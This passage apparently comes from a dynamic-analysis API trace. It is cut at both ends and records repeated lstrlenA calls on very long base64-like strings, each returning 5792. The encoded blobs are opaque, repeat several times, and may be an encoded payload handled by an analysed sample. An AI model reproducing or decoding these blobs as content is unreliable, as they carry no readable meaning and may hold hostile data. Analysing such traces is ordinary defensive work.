W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.884] lstrlenA (lpString="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") returned 5792 [0042.884] lstrlenA (lpString="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") returned 5792 [0042.884] lstrlenA (lpString="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